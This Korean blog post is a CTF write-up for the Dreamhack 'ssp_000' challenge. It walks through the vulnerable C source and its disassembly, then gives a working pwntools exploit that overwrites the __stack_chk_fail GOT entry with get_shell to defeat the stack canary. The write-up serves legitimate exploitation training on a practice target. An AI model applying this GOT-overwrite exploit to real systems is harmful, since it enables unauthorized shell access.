Hacking/Dremahack 문제풀이
[ Dreamhack ] ssp_000
미역줄기줄기
2024. 2. 24. 14:53
728x90
문제 & 보호기법
amd64 아키텍처 -> 카나리가 8바이트
NX enabled -> 셸 코드 사용 못함
문제 코드
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
long addr;
long value;
char buf[0x40] = {};
initialize();
read(0, buf, 0x80);
printf("Addr : ");
scanf("%ld", &addr);
printf("Value : ");
scanf("%ld", &value);
*(long *)addr = value;
return 0;
}
- get shell 함수가 있으니 셸 코드를 사용할 필요 없다.
- read 에서 오버플로우가 가능하겠다.
- 카나리를 leak 할 수 있는 코드는 없다.....
디스어셈블을 해보자
Dump of assembler code for function main:
0x00000000004008fb <+0>: push rbp
0x00000000004008fc <+1>: mov rbp,rsp
0x00000000004008ff <+4>: sub rsp,0x70
0x0000000000400903 <+8>: mov DWORD PTR [rbp-0x64],edi
0x0000000000400906 <+11>: mov QWORD PTR [rbp-0x70],rsi
0x000000000040090a <+15>: mov rax,QWORD PTR fs:0x28
0x0000000000400913 <+24>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400917 <+28>: xor eax,eax
0x0000000000400919 <+30>: lea rdx,[rbp-0x50]
0x000000000040091d <+34>: mov eax,0x0
0x0000000000400922 <+39>: mov ecx,0x8
0x0000000000400927 <+44>: mov rdi,rdx
0x000000000040092a <+47>: rep stos QWORD PTR es:[rdi],rax
0x000000000040092d <+50>: mov eax,0x0
0x0000000000400932 <+55>: call 0x40088e <initialize>
0x0000000000400937 <+60>: lea rax,[rbp-0x50]
0x000000000040093b <+64>: mov edx,0x80
0x0000000000400940 <+69>: mov rsi,rax
0x0000000000400943 <+72>: mov edi,0x0
0x0000000000400948 <+77>: call 0x400710 <read@plt>
0x000000000040094d <+82>: mov edi,0x400a55
0x0000000000400952 <+87>: mov eax,0x0
0x0000000000400957 <+92>: call 0x4006f0 <printf@plt>
0x000000000040095c <+97>: lea rax,[rbp-0x60]
0x0000000000400960 <+101>: mov rsi,rax
0x0000000000400963 <+104>: mov edi,0x400a5d
0x0000000000400968 <+109>: mov eax,0x0
0x000000000040096d <+114>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400972 <+119>: mov edi,0x400a61
0x0000000000400977 <+124>: mov eax,0x0
0x000000000040097c <+129>: call 0x4006f0 <printf@plt>
0x0000000000400981 <+134>: lea rax,[rbp-0x58]
0x0000000000400985 <+138>: mov rsi,rax
0x0000000000400988 <+141>: mov edi,0x400a5d
0x000000000040098d <+146>: mov eax,0x0
0x0000000000400992 <+151>: call 0x400750 <__isoc99_scanf@plt>
0x0000000000400997 <+156>: mov rax,QWORD PTR [rbp-0x60]
0x000000000040099b <+160>: mov rdx,rax
0x000000000040099e <+163>: mov rax,QWORD PTR [rbp-0x58]
0x00000000004009a2 <+167>: mov QWORD PTR [rdx],rax
0x00000000004009a5 <+170>: mov eax,0x0
0x00000000004009aa <+175>: mov rcx,QWORD PTR [rbp-0x8]
0x00000000004009ae <+179>: xor rcx,QWORD PTR fs:0x28
0x00000000004009b7 <+188>: je 0x4009be <main+195>
0x00000000004009b9 <+190>: call 0x4006d0 <__stack_chk_fail@plt>
0x00000000004009be <+195>: leave
0x00000000004009bf <+196>: ret
End of assembler dump.
- main+77: 사용자가 입력한 buf 내용은 rbp-0x50에 저장됨
스택 구조는..
이렇게 생겼다.
카나리를 leak할 수 있는 부분이 없다. 그렇다면 카나리 변조를 해야한다!!
만약, buf-canary 부분까지 dummy로 채워버리면 canary가 기존의 TLS에 존재하는 값과 같은지 비교하는 부분에서 false가 반환될 것임(main+190의 __stack_chk_fail) -> 프로그램 강제 종료
canary를 변조하여 __stack_chk_fail이 호출될 때 해당 함수의 GOT 주소를 __stack_chk_fail이 아닌, get_shell 주소를 넣어준다면 우회할 수 있음
__stack_chk_fail@got을 어떻게 변조하는 법
💡 사용자로부터 addr 값을 받아 해당 주소에 사용자가 원하는 value를 넣어줄 수 있음
addr에 __stack_chk_fail의 GOT 주소를 넣어주고, value 값으로 get_shell 함수 주소를 넣어주면 변조할 수 있을 것!
Exploit code
from pwn import *
p = remote("host3.dreamhack.games", 17259)
e = ELF("./ssp_000")
get_shell = e.symbols['get_shell']
stack_chk_fail_got = e.got['__stack_chk_fail']
payload = b'A' * 0x50
p.sendline(payload)
print("[+] stack_chk_fail: ", hex(stack_chk_fail_got))
p.sendlineafter("Addr : ", str(stack_chk_fail_got))
p.sendlineafter("Value : ", str(get_shell))
p.interactive()
새로 안 사실
- sendlineafter는 문자열을 입력으로 받는다. -> 정수나 다른 데이터 형식을 문자열로 변환
- 그래서 exploit code에 str(~~~) 이렇게 되어있던 것.
- 카나리 변조할 때 __stack_chk_fail 함수를 get_shell 함수로 GOT Overwrite 하기